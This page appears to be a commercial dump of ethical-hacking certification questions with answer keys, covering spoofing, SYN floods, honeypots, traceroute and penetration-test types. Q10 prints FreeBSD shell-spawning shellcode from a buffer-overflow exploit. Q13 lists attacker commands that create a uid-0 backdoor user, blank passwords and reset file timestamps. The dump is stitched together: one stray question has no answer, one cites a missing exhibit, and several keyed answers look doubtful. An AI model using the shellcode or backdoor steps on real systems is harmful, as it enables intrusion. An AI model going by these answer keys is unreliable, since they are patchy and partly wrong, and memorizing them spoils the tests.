Introducing The New!
Surepassexam Collection
Get Unlimited Access to all
Surepassexam's PREMIUM files
Q1. Paul has just finished setting up his wireless network. He has enabled numerous security features such as changing the default SSID, enabling WPA encryption and enabling MAC filtering on hi wireless router. Paul notices when he uses his wireless connection, the speed is sometimes 54 Mbps and sometimes it is only 24mbps or less. Paul connects to his wireless router’s management utility and notices that a machine with an unfamiliar name is connected through his wireless connection. Paul checks the router’s logs and notices that the unfamiliar machine has the same MAC address as his laptop.
What is Paul seeing here?
A. MAC Spoofing
B. Macof
C. ARP Spoofing
D. DNS Spoofing
Answer: A
Explanation: You can fool MAC filtering by spoofing your MAC address and pretending to have some other computers MAC address.
Topic 16, Virus and Worms
423. Virus Scrubbers and other malware detection program can only detect items that they are aware of. Which of the following tools would allow you to detect unauthorized changes or modifications of binary files on your system by unknown malware?
A. System integrity verification tools
B. Anti-Virus Software
C. A properly configured gateway
D. There is no way of finding out until a new updated signature file is released
Q2. 1 172.16.1.254 (172.16.1.254) 0.724 ms 3.285 ms 0.613 ms 2 ip68-98-176-1.nv.nv.cox.net (68.98.176.1) 12.169 ms 14.958 ms 13.416 ms 3 ip68-98-176-1.nv.nv.cox.net (68.98.176.1) 13.948 ms ip68-100-0-1.nv.nv.cox.net
(68.100.0.1) 16.743 ms 16.207 ms 4 ip68-100-0-137.nv.nv.cox.net (68.100.0.137) 17.324 ms 13.933 ms
20.938 ms
5 68.1.1.4 (68.1.1.4) 12.439 ms 220.166 ms 204.170 ms 6 so-6-0-0.gar2.wdc1.Level3.net (67.29.170.1) 16.177 ms 25.943 ms 14.104 ms 7 unknown.Level3.net (209.247.9.173) 14.227 ms 17.553 ms 15.415 ms 8 so-0-1-0.bbr1.NewYork1.level3.net (64.159.1.41) 17.063 ms 20.960 ms
19.512 ms 9 so-7-0-0.gar1.NewYork1.Level3.net (64.159.1.182) 20.334 ms 19.440 ms
17.938 ms 10 so-4-0-0.edge1.NewYork1.Level3.net (209.244.17.74) 27.526 ms 18.317 ms 21.202 ms 11 uunet-level3-oc48.NewYork1.Level3.net (209.244.160.12) 21.411 ms
19.133 ms 18.830 ms 12 0.so-6-0-0.XL1.NYC4.ALTER.NET (152.63.21.78) 21.203 ms 22.670 ms
20.111 ms 13 0.so-2-0-0.TL1.NYC8.ALTER.NET (152.63.0.153) 30.929 ms 24.858 ms
23.108 ms 14 0.so-4-1-0.TL1.ATL5.ALTER.NET (152.63.10.129) 37.894 ms 33.244 ms
33.910 ms 15 0.so-7-0-0.XL1.MIA4.ALTER.NET (152.63.86.189) 51.165 ms 49.935 ms
49.466 ms 16 0.so-3-0-0.XR1.MIA4.ALTER.NET (152.63.101.41) 50.937 ms 49.005 ms
51.055 ms 17 117.ATM6-0.GW5.MIA1.ALTER.NET (152.63.82.73) 51.897 ms 50.280 ms
53.647 ms 18 target-gw1.customer.alter.net (65.195.239.14) 51.921 ms 51.571 ms
56.855 ms 19 www.target.com <http://www.target.com/> (65.195.239.22) 52.191 ms
52.571 ms 56.855 ms 20 www.target.com <http://www.target.com/> (65.195.239.22) 53.561 ms
54.121 ms 58.333 ms
You perform the above traceroute and notice that hops 19 and 20 both show the same IP address. This probably indicates what?
A. A host based IDS
B. A Honeypot
C. A stateful inspection firewall
D. An application proxying firewall
Answer: C
Q3. Which of the following Trojans would be considered 'Botnet Command Control Center'?
A. YouKill DOOM
B. Damen Rock
C. Poison Ivy D. Matten Kit
Answer: C
Q4. Annie has just succeeded in stealing a secure cookie via a XSS attack. She is able to replay the cookie even while the session is valid on the server. Why do you think this is possible?
A. Any cookie can be replayed irrespective of the session status
B. The scenario is invalid as a secure cookie cannot be replayed
C. It works because encryption is performed at the network layer (layer 1 encryption)
D. It works because encryption is performed at the application layer (single encryption key)
Answer: D
Q5. The SYN Flood attack sends TCP connections requests faster than a machine can process them.
Attacker creates a random source address for each packet. SYN flag set in each packet is a request to open a new connection to the server from the spoofed IP Address Victim responds to spoofed IP Address then waits for confirmation that never arrives (timeout wait is about 3 minutes) Victim’s connection table fills up waiting for replies and ignores new connection legitimate users are ignored and will not be able to access the server
How do you protect your network against SYN Flood attacks?
A. SYN cookies. Instead of allocating a record, send a SYN-ACK with a carefully constructed sequence number generated as a hash of the clients IP Address port number and other information. When the client responds with a normal ACK, that special sequence number will be included, which the server then verifies. Thus the server first allocates memory on the third packet of the handshake, not the first.
B. RST cookies – The server sends a wrong SYN|ACK back to the client. The client should then generate a RST packet telling the server that something is wrong. At this point, the server knows the client is valid and will now accept incoming connections from that client normally.
C. Micro Blocks. Instead of allocating a complete connection, simply allocate a micro-record of 16-bytes for the incoming SYN object.
D. Stack Tweaking. TCP can be tweaked in order to reduce the effect of SYN floods. Reduce the timeout before a stack frees up the memory allocated for a connection.
Answer: ABCD
Explanation: All above helps protecting against SYN flood attacks. Most TCP/IP stacks today are already tweaked to make it harder to perform a SYN flood DOS attack against a target.
Q6. Exhibit:
Given the following extract from the snort log on a honeypot, what do you infer from the attack?
A. A new port was opened
B. A new user id was created
C. The exploit was successful
D. The exploit was not successful
Answer: D
Explanation: The attacker submits a PASS to the honeypot and receives a login incorrect before disconnecting.
Q7. Bob was frustrated with his competitor, Brownies Inc., and decided to launch an attack that would result in serious financial losses. He planned the attack carefully and carried out the attack at the appropriate moment. Meanwhile, Trent, an administrator at Brownies Inc., realized that their main financial transaction server had been attacked. As a result of the attack, the server crashed and Trent needed to reboot the system, as no one was able to access the resources of the company. This process involves human interaction to fix it. What kind of Denial of Service attack was best illustrated in the scenario above?
A. DOS attacks which involves flooding a network or system
B. DOS attacks which involves crashing a network or system
C. DOS attacks which is done accidentally or deliberately
D. Simple DDOS attack
Answer: B
Explanation: This is not a DDOS, there is only one person involved as attacker
Q8. Destination unreachable administratively prohibited messages can inform the hacker to what?
A. That a circuit level proxy has been installed and is filtering traffic
B. That his/her scans are being blocked by a honeypot or jail
C. That the packets are being malformed by the scanning software
D. That a router or other packet-filtering device is blocking traffic
E. That the network is functioning normally
Answer: D
Explanation: Destination unreachable administratively prohibited messages are a good way to discover that a router or other low-level packet device is filtering traffic. Analysis of the ICMP message will reveal the IP address of the blocking device and the filtered port. This further adds the to the network map and information being discovered about the network and hosts.
Q9. Steven the hacker realizes that the network administrator of company is using syskey to protect organization resources in the Windows 2000 Server. Syskey independently encrypts the hashes so that physical access to the server, tapes, or ERDs is only first step to cracking the passwords. Steven must break through the encryption used by syskey before he can attempt to brute force dictionary attacks on the hashes. Steven runs a program called “SysCracker” targeting the Windows 2000 Server machine in attempting to crack the hash used by Syskey. He needs to configure the encryption level before he can launch attach.
How many bits does Syskey use for encryption?
A. 40 bit
B. 64 bit
C. 256 bit
D. 128 bit
Answer: D
Explanation: SYSKEY is a utility that encrypts the hashed password information in a SAM database using a 128-bit encryption key.
Q10. #define MAKE_STR_FROM_RET(x) ((x)&0xff), (((x)&0xff00)8),
(((x)&0xff0000)16), (((x)&0xff000000)24)
char infin_loop[]=
/* for testing purposes */
"\xEB\xFE";
char bsdcode[] =
/* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
"\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
"\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
"\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0"
"\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80"
"\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9"
"\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75"
"\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd"
"\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46"
"\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
"\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
"\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\x01\xff\xff\x30"
"\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e"
"\x67\x6c\x69\x6e";static int magic[MAX_MAGIC],magic_d[MAX_MAGIC];
static char *magic_str=NULL;
int before_len=0;
char *target=NULL, *username="user", *password=NULL;
struct targets getit;
The following exploit code is extracted from what kind of attack?
A. Remote password cracking attack
B. SQL Injection
C. Distributed Denial of Service
D. Cross Site Scripting
E. Buffer Overflow
Answer: E
Explanation: This is a buffer overflow with it’s payload in hex format.
Q11. Anonymizer sites access the Internet on your behalf, protecting your personal information from disclosure. An anonymizer protects all of your computer's identifying information while it surfs for you, enabling you to remain at least one step removed from the sites you visit.
You can visit Web sites without allowing anyone to gather information on sites visited by you. Services that provide anonymity disable pop-up windows and cookies, and conceal visitor's IP address.
These services typically use a proxy server to process each HTTP request. When the user requests a Web page by clicking a hyperlink or typing a URL into their browser, the service retrieves and displays the information using its own server. The remote server (where the requested Web page resides) receives information on the anonymous Web surfing service in place of your information.
In which situations would you want to use anonymizer? (Select 3 answers)
A. Increase your Web browsing bandwidth speed by using Anonymizer
B. To protect your privacy and Identity on the Internet
C. To bypass blocking applications that would prevent access to Web sites or parts of sites that you want to visit.
D. Post negative entries in blogs without revealing your IP identity
Answer: BCD
Q12. What ICMP message types are used by the ping command?
A. Timestamp request (13) and timestamp reply (14)
B. Echo request (8) and Echo reply (0)
C. Echo request (0) and Echo reply (1)
D. Ping request (1) and Ping reply (2)
Answer: B
Explanation: ICMP Type 0 = Echo Reply, ICMP Type 8 = Echo
Q13. fter studying the following log entries, what is the attacker ultimately trying to achieve as inferred from the log sequence?
1. mkdir -p /etc/X11/applnk/Internet/.etc
2. mkdir -p /etc/X11/applnk/Internet/.etcpasswd
3. touch -acmr /etc/passwd /etc/X11/applnk/Internet/.etcpasswd
4. touch -acmr /etc /etc/X11/applnk/Internet/.etc
5. passwd nobody -d
6. /usr/sbin/adduser dns -d/bin -u 0 -g 0 -s/bin/bash
7. passwd dns -d
8. touch -acmr /etc/X11/applnk/Internet/.etcpasswd /etc/passwd
9. touch -acmr /etc/X11/applnk/Internet/.etc /etc
A. Change password of user nobody
B. Extract information from a local directory
C. Change the files Modification Access Creation times
D. Download rootkits and passwords into a new directory
Answer: C
Q14. During the intelligence gathering phase of a penetration test, you come across a press release by a security products vendor stating that they have signed a multi-million dollar agreement with the company you are targeting. The contract was for vulnerability assessment tools and network based IDS systems. While researching on that particular brand of IDS you notice that its default installation allows it to perform sniffing and attack analysis on one NIC and caters to its management and reporting on another NIC. The sniffing interface is completely unbound from the TCP/IP stack by default. Assuming the defaults were used, how can you detect these sniffing interfaces?
A. Use a ping flood against the IP of the sniffing NIC and look for latency in the responses.
B. Send your attack traffic and look for it to be dropped by the IDS.
C. Set your IP to that of the IDS and look for it as it attempts to knock your computer off the network.
D. The sniffing interface cannot be detected.
Answer: D
Explanation: When a Nic is set to Promiscuous mode it just blindly takes whatever comes through to it network interface and sends it to the Application layer. This is why they are so hard to detect. Actually you could use ARP requests and Send them to every pc and the one which responds to all the requests can be identified as a NIC on Promiscuous mode and there are some very special programs that can do this for you. But considering the alternatives in the question the right answer has to be that the interface cannot be detected.
Q15. A client has approached you with a penetration test requirements. They are concerned with the possibility of external threat, and have invested considerable resources in protecting their Internet exposure. However, their main concern is the possibility of an employee elevating his/her privileges and gaining access to information outside of their respective department.
What kind of penetration test would you recommend that would best address the client’s concern?
A. A Black Box test
B. A Black Hat test
C. A Grey Box test
D. A Grey Hat test
E. A White Box test
F. A White Hat test
Answer: C